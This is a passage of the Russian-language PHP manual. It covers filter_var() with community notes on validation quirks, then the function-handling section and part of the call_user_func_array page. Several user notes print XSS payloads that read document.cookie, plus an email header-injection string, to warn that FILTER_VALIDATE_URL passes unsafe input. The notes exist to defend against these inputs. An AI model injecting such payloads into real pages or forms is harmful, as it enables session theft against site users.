if (strpos($value, ", ") === false) {
return false;
}

list($surname, $givennames) = explode(", ", $value, 2);

$empty = (empty($surname) || empty($givennames));
$notstrings = (!is_string($surname) || !is_string($givennames));

if ($empty || $notstrings) {
return false;
} else {
return $value;
}
}

$var = filter_var('Doe, Jane Sue', FILTER_CALLBACK, array('options' => 'foo'));

?>

Возвращаемые значения

Функция возвращает отфильтрованные данные или false, если фильтрация не удалась.

Примеры

Пример #1 Пример использования функции filter_var()

<?php

var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));

?>

Результат выполнения приведённого примера:

string(15) "bob@example.com"
bool(false)

Пример #2 Пример фильтрации массива

<?php

$emails = [
"bob@example.com",
"test@example.local",
"invalidemail"
];

var_dump(filter_var($emails, FILTER_VALIDATE_EMAIL, FILTER_REQUIRE_ARRAY));

?>

Результат выполнения приведённого примера:

array(3) {
  [0]=>
  string(15) "bob@example.com"
  [1]=>
  string(18) "test@example.local"
  [2]=>
  bool(false)
}

Смотрите также

  • filter_var_array() - Принимает несколько переменных и, при необходимости, фильтрует их
  • filter_input() - Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной
  • filter_input_array() - Получает несколько переменных извне PHP и, при необходимости, фильтрует их
  • Типы фильтров

User Contributed Notes

Random Guy 28-Dec-2023 09:15
Actually, this is not really a helpful comment for a manual (so, don't upvote), but as search engines don't find a lot of occurrences for the error message and especially no helpful hint, it might save somebody some time.

If you're getting an error message like "filter_var(): Unknown filter with ID 2097152" or a different number, you just accidentally mixed up the parameters. So, instead of

<?php
filter_var($ip, FILTER_FLAG_IPV6)
?>

you should try it with

<?php
filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)
?>

and it will work ;) I know, this isn't the most intuitive form you can design a function and it's tempting to throw everything into one param as it is done for regular checks, but, yeah, it is how it is.
dakaenev at gmail dot com 23-Dec-2023 09:46
As reply of https://www.php.net/manual/en/function.filter-var.php#128235

if you use FILTER_FLAG_PATH_REQUIRED it work correct.

var_dump( filter_var('http://test???test.com/path/?t=1', FILTER_VALIDATE_URL)  ); // true

var_dump( filter_var('http://test???test.com/path/?t=1', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)  ); // false
remindfwd 08-Sep-2023 01:08
Please note that the following will return true, even if the URL is not correct. Because it validates only the domain, subdomain, path and query, not the protocol.

<?php

    filter_var( 'http://https://example.com', FILTER_VALIDATE_URL );
?>

Please read more on https://www.php.net/manual/en/filter.filters.validate.php
ajcorrea at gmail dot com 01-Jun-2023 02:32
You can use multiple FLAGS to validate an ip address:

//Validade if input is an IPv4 Address:
$_FILTERS = array('flags' => FILTER_FLAG_IPV4);

//Validade if input is an IPv4 address and isn?t a private IP.
$_FILTERS = array('flags' => FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE);

//Validade if input is an IPv4 and isn?t a reserved IP.
$_FILTERS = array('flags' => FILTER_FLAG_IPV4 | FILTER_FLAG_NO_RES_RANGE);

//Validade if input is an IPv4, isn?t a private IP and isn?t a reserved IP.
$_FILTERS = array('flags' => FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);

filter_var($_input, FILTER_VALIDATE_IP, $_FILTERS);
Guy Sartorelli 08-May-2023 03:06
Note that filter_var() with FILTER_VALIDATE_URL uses RFC2396 which is obsolete. This means it treats some currently valid characters (such as "_") as being invalid.

In many cases it may be more beneficial to use php parse_url() which uses RFC3986 which is what is currently in effect.
Anonymous 21-Feb-2023 09:33
Pay attention:
questionmark in url is also valid

<?php
echo filter_var("http://test???test.com", FILTER_VALIDATE_URL)?"valid":"not valid"; #valid
?>
mmerlone at gmail dot com 21-Sep-2021 02:03
Be aware that FILTER_FLAG_PATH_REQUIRED is happy with a single slash (/), so:

<?php
$options = array('flags' => FILTER_FLAG_PATH_REQUIRED);
filter_var('http://example.com', FILTER_VALIDATE_URL, $options); // returns false
filter_var('http://example.com/', FILTER_VALIDATE_URL, $options); // returns 'http://example.com/'
?>
rschuetz at hmcw dot com 22-Apr-2021 06:59
I cannot confirm what yactouat said. As of PHP 7.3, 0 will not be filtered out with FILTER_VALIDATE_INT. It correctly returns 0, not false. Of course you have to check the return value with an identity operator. Otherwise you cannot distinguish between 0 and false.
Robert Vlach 08-Apr-2020 06:33
I won't recommend using this function to validate email addresses on a normal website. The problem is that in accordance with RFC 3696 (Application Techniques for Checking and Transformation of Names) the following email addresses would be considered as valid:

customer/department=shipping@example.com
$A12345@example.com
!def!xyz%abc@example.com
_somename@example.com
"Abc@def"@example.com

Hardly something I would accept in a live web app in 2020 :-/
yactouat at hotmail dot com 18-May-2019 02:47
While getting familiar with filter_var( $var, FILTER_VALIDATE_INT ), I found interesting that 0 will be filtered out and therefore wont be considered as an int. Hope that helps someone not to be stuck ;)

N.B.: if you need to accept 0's, you could use is_int()
Steve 15-Oct-2018 01:47
The note from "hek" about HTML5 having patterns thus alleviating the need to filter in PHP is completely wrong:  You still must filter input on the server side.  The HTML5 form inputs are client-side, meaning they are completely under the user's control.  Only when you receive the data in PHP is it server-side and under your control.  Once the data is under your control, then you must filter/sanitize it properly.

This is true regardless of server-side language.  I would encourage the moderators to remove the note from "hek" because it will mislead people with horrible consequences.

Steve
Anonymous 06-Sep-2018 07:31
Replying to Andi:

This is NOT a valid URL, as the characters are not encoded

http://example.com/"><script>alert(document.cookie)</script>

This is a valid URL:

http://example.com/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
mpyw628 at gmail dot com 22-Jul-2018 10:40
I wrote a JavaScript email validator fully compatible with PHP's filter_var() implementation.

mpyw/FILTER_VALIDATE_EMAIL.js: Email validation compatible with PHP's filter_var($value, FILTER_VALIDATE_EMAIL)
https://github.com/mpyw/FILTER_VALIDATE_EMAIL.js
crisp at tweakers dot net 09-Jan-2018 10:31
Note that only using FILTER_VALIDATE_URL to validate url's input may result in XSS:

$url = 'javascript://%0Aalert(document.cookie)';

if (filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)) {
    echo '<a href="' . $url . '">click</a>';
}

You should at least additionally check the actually used scheme.
divinity76 at gmail dot com 22-Jun-2017 11:00
note that FILTER_VALIDATE_BOOLEAN tries to be smart, recognizing words like Yes, No, Off, On, both string and native types of true and false, and is not case-sensitive when validating strings.

<?php
$vals=array('on','On','ON','off','Off','OFF','yes','Yes','YES',
'no','No','NO',0,1,'0','1','true',
'True','TRUE','false','False','FALSE',true,false,'foo','bar');
foreach($vals as $val){
    echo var_export($val,true).': ';   var_dump(filter_var($val,FILTER_VALIDATE_BOOLEAN,FILTER_NULL_ON_FAILURE));
}
?>

outputs:
'on': bool(true)
'On': bool(true)
'ON': bool(true)
'off': bool(false)
'Off': bool(false)
'OFF': bool(false)
'yes': bool(true)
'Yes': bool(true)
'YES': bool(true)
'no': bool(false)
'No': bool(false)
'NO': bool(false)
0: bool(false)
1: bool(true)
'0': bool(false)
'1': bool(true)
'true': bool(true)
'True': bool(true)
'TRUE': bool(true)
'false': bool(false)
'False': bool(false)
'FALSE': bool(false)
true: bool(true)
false: bool(false)
'foo': NULL
'bar': NULL
alice at deviant dot email 02-May-2016 12:19
Many people, myself included, have found that the FILTER_VALIDATE_EMAIL does not actually properly work.

Below is a wrapper that I believe validates every legal routable address.

<?php

/*******************************************
 *
 * These are the function
 *
 *  check_username is called by check_email
 *  - it compensates for bugs in the php
 *    filter_var function.
 *  - returns boolean
 *
 *  check_email is the function to use.
 *  First argument is string, address to
 *    check
 *  Second argument is optional boolean,
 *    whether or not to use DNS to validate
 *    the domain name. Defaults to true
 *  Returns boolean
 *
 */

function check_username($uname) {
  //Only UTF-8 addresses are legal
  if (iconv('UTF-8', 'UTF-8', $input) != $input) {
      return FALSE;
  }
  //replace all characters above U+007F with letter U for simplicity of checking
  $uname = preg_replace('/[\x{007F}-\x{FFFF}]/u', 'U', $uname);

  //remove comments - only legal in format (comment) at beginning or end of username
  $s[] = '/^\([^\)]*\)/'; $s[] = '/\([^\)]*\)$/';
  $uname = preg_replace($s, '', $uname);
  //make sure we have something left
  if(strlen(trim($uname)) == 0) {
    return FALSE;
  }
  // check for legal dot usage
  if(substr_count($uname, '..') > 0) {
    return FALSE;
  }
  // convert \\ and \" to an A for simplicity
  $s[] = '/[\\\][\\\]/';
  $s[] = '/\\\"/';
  $uname = preg_replace($s, 'A', $uname);
  // check for illegal use of quotes
  if(preg_match('/[^.]+"[^.]+/', $uname)) {
    return FALSE;
  }
  // compensate for characters legal when in quotes
  $uname = preg_replace_callback('/"(.*)"/', function ($m) {
    $s[]="/[ \(\),\:;<>@\[\] ]/";
    return preg_replace($s,'Q',$m[1]);
    }, $uname);
  // check what we have left with filter_var
  return filter_var($uname . '@example.org', FILTER_VALIDATE_EMAIL);
}

function check_email($email, $dns_check=true) {
  $array = explode('@', $email);
  if(count($array) < 2) {
    return FALSE;
  }
  $domain = end($array);
  array_pop($array);
  if(function_exists('idn_to_ascii')) {
    //php filter no workie with unicode characters
    $domain = idn_to_ascii($domain);
  }
  $ipcheck = preg_replace(array('/^\[ipv6\:/i', '/^\[/', '/\]$/'), '', $domain);
  if(filter_var($ipcheck, FILTER_VALIDATE_IP)) {
    // it's an IP address
    if(! filter_var($ipcheck, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
      return FALSE;
    }
  } else {
    // it's a domain name
    //   php bug - FILTER_VALIDATE_EMAIL doesn't like naked TLD
    if(! filter_var('user@a.' . $domain, FILTER_VALIDATE_EMAIL)) {
      return FALSE;
    }
    if($dns_check) {
      if(! dns_get_record($domain)) {
        return FALSE;
      }
    }
  }
  //now check legal username
  return check_username(implode('@', $array));
}
?>
It evaluates the address in two parts, first evaluating the host and if that legal it then evaluates the user name.

If there is a DNS problem *and* the default $dns_check value of true is used, valid will fail. If it is an international domain name, you have to have the php-intl package installed.

Enjoy.
buttflattery at gmail dot com 18-Jan-2016 03:15
FILTER_VALIDATE_URL validates a url like http://www.
Ant 14-Dec-2015 02:20
Note: filter_var with filter=FILTER_VALIDATE_URL used parse_url function
dan at spiral8 dot net 08-Dec-2015 02:23
Here's a simple test using filter_var with FILTER_VALIDATE_URL.
(If you're using file_get_contents after this you will run into a problem, I was using: PHP 5.5.12 (cli))

<?php
$url = 'a://google.com';

$result = filter_var($url, FILTER_VALIDATE_URL);

if($result){
    echo 'Valid URL'.PHP_EOL;
}

var_dump($result);
?>

The result is:
Valid URL
string(14) "a://google.com"
yoanlin93 at gmail dot com 22-Nov-2015 06:34
Some boolean conversions:

<?php
var_dump(filter_var('oops', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// NULL

var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var(0, FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var(1, FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var('TRUE', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(true)

var_dump(filter_var('', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)

var_dump(filter_var('FALSE', FILTER_VALIDATE_BOOLEAN, array('flags' => FILTER_NULL_ON_FAILURE)));
// bool(false)
Anonymous 04-Nov-2015 11:20
FILTER_VALIDATE_URL allows:

filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL);

Where the %0A (URL encoded newline), in certain contexts, will split the comment from the JS code.

This can result in an XSS vulnerability.
joe at bloe dot com 13-Jul-2014 03:04
"(comment)localpart@example.com"
is an invalid E-Mail address per RFC5322 (Appendix A.6.3):
"Also, the comments and white space throughout addresses, dates, and message identifiers are all part of the obsolete syntax."
Tom 18-Nov-2013 10:23
It is important to note that though the data type of the first parameter of the function is stated as "mixed", this is only one half of the truth.

While it accepts any data type, the first parameter will always be cast to string before being validated or sanitized.

It seems that this function was designed strictly to be used on user input strings. For example: from an online-form. When using it for anything other than that, you may see issues. So read the documentation very carefully!

Especially note that there is an (to date) unresolved issue (#49510) concerning the Boolean filter while using the FILTER_NULL_ON_FAILURE flag. Note that both (string) FALSE and FALSE are not recognized as boolean values and will return NULL (not FALSE as you might expect).

I thus personally suggest that (to date) the best way to take the filter_var()-functions beyond their original purpose (and allow future extension and customization) is to wrap them in your own classes. This will allow you to work-around unexpected behavior on non-string input and add your custom checks, or back-port filters or sanitizers that may be added in later versions of PHP.
(Especially since PHP currently still lacks filters and sanitizers for some of the more exotic HTML5 input types, like "color". Thus there actually is a chance that we may see a need for custom filters or backports at some point in the future.)
gt at kani dot hu 21-Jun-2013 02:31
I found some addresses that FILTER_VALIDATE_EMAIL rejects, but RFC5321 permits:
<?php
foreach (array(
        'localpart.ending.with.dot.@example.com',
        '(comment)localpart@example.com',
        '"this is v@lid!"@example.com',
        '"much.more unusual"@example.com',
        'postbox@com',
        'admin@mailserver1',
        '"()<>[]:,;@\\"\\\\!#$%&\'*+-/=?^_`{}| ~.a"@example.org',
        '" "@example.org',
    ) as $address) {
    echo "<p>$address is <b>".(filter_var($address, FILTER_VALIDATE_EMAIL) ? '' : 'not')." valid</b></p>";
}
?>
Results:

localpart.ending.with.dot.@example.com is not valid
(comment)localpart@example.com is not valid
"this is v@lid!"@example.com is not valid
"much.more unusual"@example.com is not valid
postbox@com is not valid
admin@mailserver1 is not valid
"()<>[]:,;@\"\\!#$%&'*+-/=?^_`{}| ~.a"@example.org is not valid
" "@example.org is not valid

The documentation does not saying that FILTER_VALIDATE_EMAIL should pass the RFC5321, however you can meet with these examples (especially with the first one). So this is a note, not a bug report.
drew_mirage at hotmail dot com 18-Jun-2013 07:14
One key thing to remember about filtering integers is that the value for the option max_range must be less than or equal to the value of PHP_INT_MAX.

filter_var($someVariable, FILTER_VALIDATE_INT, array('options' => array('min_range' => 1, 'max_range' => SOME_VALUE_GREATER_THAN_PHP_INT_MAX)));

This will fail even if $someVariable is a valid integer in the expected range.

This can show up when you are attempting to validate a potential key for an unsigned MySQL INT type (whose maximum value is 4294967295) on a 32-bit system, where the value of PHP_INT_MAX is 2147483647.
cabrinosimone at gmail dot com 02-Apr-2013 03:19
Pay attention that the function will not validate "not latin" domains.

if (filter_var('уникум@из.рф', FILTER_VALIDATE_EMAIL)) {
    echo 'VALID';
} else {
    echo 'NOT VALID';
}
alex4home at gmail dot com 10-Jan-2013 12:18
Keep in mind that FILTER_VALIDATE_EMAIL will validate the email address according to standards.
However, giving the fact that organizations are free to restrict the forms of their own email addresses, using ONLY this filter can you a lot of bounces.

gmail, yahoo, hotmail, aol have special rules

For example :
<?php

$email_a = '0hot\'mail_check@hotmail.com';
if (filter_var($email_a, FILTER_VALIDATE_EMAIL)) {
    echo "This (email_a) email address is considered valid.";
   //reported as valid
}

//there can be no  "0hotmail_check@hotmail.com"
//because hotmail will say "Your email address needs to start with a letter. Please try again." even if you remove the '
?>
marcus at synchromedia dot co dot uk 03-Sep-2012 09:13
It's very likely that you actually want to detect all reserved ranges, not just private IPs, and there's another constant for them that should be bitwise-OR'd with it.
<?php
function is_private_ip($ip) {
    return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
?>
Martin L 27-Jul-2012 10:35
FILTER_SANITIZE_EMAIL header injection test.

<?php
$InjString = "\r\n|\n|%0A|%0D|bcc:|to:|cc:|Content-Type:|Mime-Type:|";
echo filter_var($InjString, FILTER_SANITIZE_EMAIL);
?>

||%0A|%0D|bcc|to|cc|Content-Type|Mime-Type|
Andi, info at pragmamx dot org 23-May-2012 06:07
And this is also a valid url

http://example.com/"><script>alert(document.cookie)</script>
keevitaja at gmail dot com 28-Jan-2012 08:05
please note FILTER_VALIDATE_URL passes following url

http://example.ee/sdsf"f
joelhy 06-Jul-2011 02:44
For those looking for private ip checking, there it is:
<?php
 function is_private_ip($ip)
{
     return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE);
}
?>
php at maisqi dot com 27-May-2011 07:11
FILTER_VALIDATE_URL does not support internationalized domain name (IDN). Valid or not, no domain name with Unicode chars on it will pass validation.

We can circumvent this with a home grown solutions, but C code is C code, so I've gone for the code bellow, which builds on filter_var().

<?php
$res = filter_var ($uri, FILTER_VALIDATE_URL);
if ($res) return $res;
// Check if it has unicode chars.
$l = mb_strlen ($uri);
if ($l !== strlen ($uri)) {
    // Replace wide chars by "X".
    $s = str_repeat (' ', $l);
    for ($i = 0; $i < $l; ++$i) {
        $ch = mb_substr ($uri, $i, 1);
        $s [$i] = strlen ($ch) > 1 ? 'X' : $ch;
    }
    // Re-check now.
    $res = filter_var ($s, FILTER_VALIDATE_URL);
    if ($res) {    $uri = $res; return 1;    }
}
?>

The logic is simple. A non-ascii char is more than one byte long. We replace every one of those chars by "X" and check again.

An alternative will be to punycode the URI before calling filter_var(), but PHP lacks native support for punycode. I think my approach is effective. Please e-mail me if you think otherwise or see room for improvement.
drtebi at yahoo 24-Nov-2009 11:55
Notice that filter_var with FILTER_VALIDATE_EMAIL does not work if you are trying to get a String from an XML document e.g. via xpath.

I often use XML files as configuration files and use a function that returns a string from the config file via xpath. While this worked fine before 5.2.11, it doesn't anymore (and shouldn't, since it's an XML Element, not a String).

To overcome this problem, $variable can be type-casted:

<?php
$variable = fancyXmlGetFunction('from');
filter_var((String) $variable, FILTER_VALIDATE_EMAIL);
?>
jon dot bertsch at ucop dot edu 24-Mar-2009 07:49
Here's an actual example of the filter syntax with a flag since there doesn't appear to be a one liner for this anywhere:

'hours' => array('filter'=>FILTER_SANITIZE_NUMBER_FLOAT, 'flags' => FILTER_FLAG_ALLOW_FRACTION, 'options'=> '.')
dyer85 at gmail dot com 03-Nov-2008 02:00
Note that when using FILTER_VALIDATE_INT along with the FILTER_FLAG_ALLOW_HEX flag, the string "2f", for example, is not validated successfully, because you must use the "0x" prefix, otherwise, it treats the data as base 10.

The range options are also smart enough to recognize when the boundaries are exceeded in different bases.

Here's an example:

<?php

$foo = '256';
$bar = '0x100';
var_dump(validate_int($foo)); // false, too large
var_dump(validate_int($bar)); // false, too large

function validate_int($input)
{
  return filter_var(
    $input,
    FILTER_VALIDATE_INT,

    // We must pass an associative array
    // to include the range check options.
    array(
      'flags'   => FILTER_FLAG_ALLOW_HEX,
      'options' => array('min_range' => 1, 'max_range' => 0xff)
    )
  );
}

?>
dale dot liszka at gmail dot com 09-Jul-2008 10:15
Here is how to use multiple flags (for those who learn better by example, like me):

<?php
echo "|asdf".chr(9).chr(128)."_123|";
echo "\n";
// "bitwise conjunction" means logic OR / bitwise |
echo filter_var("|asdf".chr(9).chr(128)."_123\n|" ,FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH);

/*
Results:
|asdf    ?_123|
|asdf_123|
*/
?>
dale dot liszka at gmail dot com 09-Jul-2008 09:54
Using the FILTER_CALLBACK requires an array to be passed as the options:

<?php
function toDash($x){
   return str_replace("_","-",$x);
}

echo filter_var("asdf_123",FILTER_CALLBACK,array("options"=>"toDash"));
// returns 'asdf-123'
?>


Управление функциями

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции управления функциями
    • call_user_func_array — Вызывает callback-функцию с массивом параметров
    • call_user_func — Вызывает callback-функцию, заданную в первом параметре
    • create_function — Создаёт функцию динамически, оценивая строку кода
    • forward_static_call_array — Вызов статического метода и передача параметров в виде массива
    • forward_static_call — Вызов статического метода
    • func_get_arg — Возвращает элемент из списка аргументов
    • func_get_args — Возвращает массив, который содержит список аргументов функции
    • func_num_args — Возвращает количество аргументов, переданных функции
    • function_exists — Возвращает true, если указанная функция определена
    • get_defined_functions — Возвращает массив определённых функций
    • register_shutdown_function — Регистрирует функцию, которая выполнится при завершении работы скрипта
    • register_tick_function — Регистрирует функцию для выполнения при каждом тике
    • unregister_tick_function — Удаляет функцию из списка зарегистрированных для выполнения на каждом тике

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции позволяют различными способами решать проблемы, возникающие при работе с функциями.

User Contributed Notes

There are no user contributed notes for this page.


Функции управления функциями

Содержание

  • call_user_func_array — Вызывает callback-функцию с массивом параметров
  • call_user_func — Вызывает callback-функцию, заданную в первом параметре
  • create_function — Создаёт функцию динамически, оценивая строку кода
  • forward_static_call_array — Вызов статического метода и передача параметров в виде массива
  • forward_static_call — Вызов статического метода
  • func_get_arg — Возвращает элемент из списка аргументов
  • func_get_args — Возвращает массив, который содержит список аргументов функции
  • func_num_args — Возвращает количество аргументов, переданных функции
  • function_exists — Возвращает true, если указанная функция определена
  • get_defined_functions — Возвращает массив определённых функций
  • register_shutdown_function — Регистрирует функцию, которая выполнится при завершении работы скрипта
  • register_tick_function — Регистрирует функцию для выполнения при каждом тике
  • unregister_tick_function — Удаляет функцию из списка зарегистрированных для выполнения на каждом тике

User Contributed Notes

php dot spamguard at pulseforce dot com 27-Jan-2009 06:31
PHP is great in how it allows you to send a variable-length argument list to a function by using the func_* functions. However, unfortunately (and this has been brought up numerous time in PHP bug reports/feature requests), it doesn't support passing arguments by reference which would have greatly simplified processing multiple variables at once by simply doing: somefunction($a, $b, $c) and having them processed, without having to do any additional assignment.

However, I've discovered a way to leverage several features of PHP and created a very good example that shows how you can process multiple variables in one fell swoop!

The usage is (with my example function/class):
"list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);"

If PHP had ACTUALLY been capable of passing variables by reference when using variable-length argument lists, that could have been reduced to:
"TextEscape::escape_multi($a, $b, $c, $d, $e);"

It's extremely close though, both in simplicity and speed. Just be VERY sure to ALWAYS have the SAME NUMBER AND ORDER of arguments on both sides of that statement.

The use of a static class was just to make the code cleaner and easier to look at. This can be applied to any functions!

Now, onto the code, enjoy the sheer brilliance and enjoy modifying multiple variables at once in just ONE statement! ;-)

<?php

class TextEscape
{
    public static function escape_string($sString)
    {
        /* can be anything, using htmlspecialchars() in this example */
        return htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        foreach ($aVariables as $iKey => $sValue)
        {
            $aVariables[$iKey] = TextEscape::escape_string($sValue);
        }

        /* return the escaped values */
        return $aVariables;
    }
}

// Create test variables
$a = "A<bar";
$b = "B>bar";
$c = "C<bar";
$d = "D>bar";
$e = "E<bar";

// Variables Before:
// Array
// (
//    [0] => A<bar
//    [1] => B>bar
//    [2] => C<bar
//    [3] => D>bar
//    [4] => E<bar
// )
print_r(array($a, $b, $c, $d, $e));

// Process every variable at once,
// we're exploiting both how list() and
// variable-length argument lists work
// to make the usage this smooth! ;-)
list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);

// Variables After:
// Array
// (
//    [0] => A&lt;bar
//    [1] => B&gt;bar
//    [2] => C&lt;bar
//    [3] => D&gt;bar
//    [4] => E&lt;bar
// )
print_r(array($a, $b, $c, $d, $e));

?>

That's the CLEAN LOOKING version of the code, which illustrates exactly what is HAPPENING.

I also made a speedfreak edition of the function, but didn't want to post it as the main example since it's harder to read.

But it's faster, much faster! It passes by reference where it can and loops in a more efficient way.

Just replace the above function with this one, the outcome is the same but the speed is better:

<?php

class TextEscape
{
    public static function escape_string(&$sString) // CHANGED: we now pass by reference to the actual text processing function
    {
        /* can be anything, using htmlspecialchars() in this example */
        $sString = htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        for ($i=(count($aVariables)-1); $i>=0; $i--) // CHANGED: a more efficient for-loop is used instead of a foreach; and for anyone wondering about the counter declaration, this is a common optimization trick which makes it so that the size of the array only has to be checked ONCE, by initializing the counter to the index of the last element (which is size of array minus 1) and then iterating downwards until we reach 0 (the first element)
        {
            TextEscape::escape_string($aVariables[$i]); // CHANGED: this has been changed to modify the variable by reference instead
        }

        /* return the escaped values */
        return $aVariables;
    }
}

?>

Enjoy!
Michael T. McGrew 12-May-2005 09:56
An interesting way to use functions is by putting other things than PHP in them, i.e. HTML CSS. This can be useful if you will be using a format for many pages. Yes, the include function can be used also, but by defining them in functions can make them more portable in a way and keep you from having to make many include files. You could use include() when one will be putting big portions of PHP, HTML, and/or CSS and will be using them in many pages. Then you could use PHP, HTML, and/or CSS in a function when it is smaller portions of code and only want it to be on a few pages.

I have been using include() for HTML and CSS in my early days of PHP coding, but I will be using functions for that a lot more now.

<?php function a() {  ?>
<style type="text/css">
table {
border: 1px dashed black;
background: #95EAFE;
text-align:left;
width:610px;
}
.linkbar {
font-family:sans-serif;
line-height:40px;
top:1px;
text-align:center;
width:200px;
height:10px;
}
</style>
<?php }  ?>

Now doing:
<?php a(); ?>
will return all of the CSS just as if you had wrote it on the actual page, or used include() . The same thing goes for HTML code inside a function. The possibilities are endless...
michael dot bommarito at gmail dot com 30-Jan-2005 11:28
I've developed an easy-to-use hack using these functions to emulate overloaded functions.  It's especially handy for constructors and/or C++ style templating.

Here's a little example to get you going.  This does the trick for most circumstances, and if you need more intelligent parsing, it's not too hard to implement with regex or a more suitable classification scheme.

N.B. Note the lack of whitespace between variable types in case strings.

class Matrix {

...

function Matrix() {
  $args = func_get_args();
  $argmatch = implode(",", array_map('gettype', $args));

  switch( $argmatch ) {
    case 'integer,integer':
      //initialize m x n matrix
      break;

    case 'integer,integer,integer':
      //initialize m x n matrix with constant c
      break;

    case 'integer,integer,float':
      //initialize m x n matrix with constant c
      break;

    case 'array':
      //initialize from array (2D....)
      break;

    case 'array,integer':
      //intialize from array (1D packed with m rows)
      break;

    default:
      //(void) overload?
      //error handling?
      break;
  }
}

...

}
php-note-2003-june-18 at ryandesign dot com 18-Jun-2003 08:22
Xavier's example is rather complicated, and his task would be much more simply accomplished by using classes. Define a base class to do the basic functions open, dump, and close, and create extension classes to override whatever behavior.

class foo {
  function open() {
    // Default functionality for open()
  }
  function dump() {
    // Default functionality for dump()
  }
  function close() {
    // Default functionality for close()
  }
}

class bar extends foo {
  function open() {
    // Override functionality of open()
  }
  // dump() and close() remain as in class foo
}
xmontero at dsitelecom dot com 23-Aug-2002 02:49
You can do some kind of overloading functions in PHP using "function_exists".

Let's suppose you want a script to call plugins that are php files and you want the plugins to "override" behaviours that if not overriden are used by default.

You might for example write a "mySQL table viewer" which displays a table and it "opens a table", "dumps the header", "dumps row-by-row" and then "closes the table".

Let's suppose you want a plugin for "Stocks" which prints negative stocks in red, so you want to override the "dumping row-by-row" to do that behaviour. Instead you do not want to have all the "default behaviour" repeated in the plugin.

You may then do the following:

1) Define a default plugin (ex: "default.php"

2) Write all your functions in default.php to open, dump and close, but add them a suffix:

open_table_default()
dump_header_default()
dump_row_default()
close_table_default()

3) Call your functions with a wrapper: Insetad of this:
open_table() or open_table_default() write this:

plugincall("open_table");

4) Then write a function called plugincall which uses function_exists() to see if you call one or the other function:

function plugincall($desired_function_name)
{

if( function_exists( $desired_function_name))
{
    //Call the plugin
    //Note the $ before the name
    $desired_function_name()
}
else
{
  $desired_function_name = $desired_function_name . "_default";
  if( function_exists($desired_function_name))
  {
      //Call the default
      //Note the $ before the name
      $desired_function_name()
  }
  else
  {
      // Nor the plugin nor the default were defined
  }
}

So, now, if the require_once(plugin.php) contains a function called "open_table()", it will be used. Instaed, "open_table_default()" will be used.

It's not like overloading functions, but it is very useful to write scripts ampliable by other programmers: If they write a function, it is used, if not, the default is used.

See ya!
Xavier Montero.


Вызывает callback-функцию с массивом параметров

  • « Функции управления функциями
  • call_user_func »
  • PHP Manual
  • Функции управления функциями
  • Вызывает callback-функцию с массивом параметров

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

call_user_func_array — Вызывает callback-функцию с массивом параметров

Описание

call_user_func_array(callable $callback, array $args): mixed

Вызывает callback-функцию callback, с параметрами из массива args.

Список параметров

callback

Вызываемая функция типа callable.

args

Передаваемые в функцию параметры в виде массива.

Если все ключи args являются числовыми, ключи игнорируются и каждый элемент будет передан в параметр callback как позиционный аргумент, по порядку.

Если какие-либо ключи args являются строками, эти элементы будут переданы в параметр callback как именованные аргументы, с именем, заданным ключом.

Произойдёт неисправимая ошибка, если числовой ключ в args появляется после строкового ключа или если строковый ключ не совпадает с именем любого параметра callback.

Возвращаемые значения

Возвращает результат функции или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Ключи параметра args теперь интерпретируются как имена параметров, а не игнорируются.

Примеры

Пример #1 Пример использования функции call_user_func_array()

<?php
function foobar($arg, $arg2) {
echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}

// Вызываем функцию foobar() с 2 аргументами
call_user_func_array("foobar", array("one", "two"));

// Вызываем метод $foo->bar() с 2 аргументами
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

Вывод приведённого примера будет похож на:

foobar got one and two
foo::bar got three and four

Пример #2 Пример использования call_user_func_array() c именем пространства имён

<?php

namespace Foobar;

class Foo {
static public function test($name) {
